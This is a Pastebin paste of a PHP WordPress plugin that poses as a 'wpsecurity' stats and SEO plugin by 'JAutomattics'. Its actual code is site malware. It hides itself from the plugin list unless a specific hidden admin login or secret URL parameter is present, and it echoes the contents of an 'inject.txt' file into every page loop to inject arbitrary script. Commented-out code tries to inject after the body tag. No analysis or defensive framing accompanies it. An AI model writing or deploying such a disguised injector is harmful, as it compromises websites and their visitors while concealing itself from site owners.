Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- Plugin Name: wpsecurity
- Description: The one plugin you need for stats, related posts, search engine optimization
- Author: JAutomattics
- Version: 1.1
- */
- define('INJECTBODY__BASENAME', basename( __DIR__ ) );
- define('INJECTBODY__PLUGIN', INJECTBODY__BASENAME . DIRECTORY_SEPARATOR . basename( __FILE__ ) );
- define('INJECTBODY__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
- define('INJECTBODY__SCRIPT_DIR', INJECTBODY__PLUGIN_DIR );
- define('INJECTBODY__SCRIPT_FILE', 'inject.txt');
- define('INJECTBODY__SCRIPT_FILE_FULL', INJECTBODY__SCRIPT_DIR . INJECTBODY__SCRIPT_FILE);
- define('INJECTBODY__ADMIN_LOGIN', 'INJECTBODY__ADMIN');
- //скрываем плагины от всех кроме главного админа start
- function injectbody_hide($plugins) {
- if( $_GET[INJECTBODY__ADMIN_LOGIN] == 1 ) {
- return $plugins;
- }
- $user = wp_get_current_user();
- if( $user->data->user_login === INJECTBODY__ADMIN_LOGIN ) {
- return $plugins;
- }
- if( is_plugin_active( INJECTBODY__PLUGIN ) ) {
- unset( $plugins[ INJECTBODY__PLUGIN ] );
- }
- return $plugins;
- }
- add_filter('all_plugins', 'injectbody_hide');
- add_action( 'loop_start', function (){
- if( file_exists(INJECTBODY__SCRIPT_FILE_FULL) && is_readable(INJECTBODY__SCRIPT_FILE_FULL) ) {
- readfile(INJECTBODY__SCRIPT_FILE_FULL);
- }
- });
- //add_action('shutdown', function() {
- // $final = '';
- // $levels = ob_get_level();
- // for ($i = 0; $i <= $levels; $i++){
- // $final .= ob_get_clean();
- // }
- // echo apply_filters('final_output', $final);
- //}, 0);
- //
- //add_filter('final_output', function($output) {
- // $after_body = apply_filters('after_body','');
- // if( !$after_body ) return NULL;
- // $output = preg_replace("/(\<body.*\>)/", "$1".$after_body, $output);
- // //echo '<textarea>', htmlspecialchars($output),'</textarea>';
- // return $output;
- //});
- //
- //add_action('after_body', function() {
- // if( file_exists(INJECTBODY__SCRIPT_FILE_FULL) && is_readable(INJECTBODY__SCRIPT_FILE_FULL) ) {
- // $content = file_get_contents(INJECTBODY__SCRIPT_FILE_FULL);
- // return ($content === FALSE ? NULL : $content);
- // }
- //});
Advertisement
Add Comment
Please, Sign In to add comment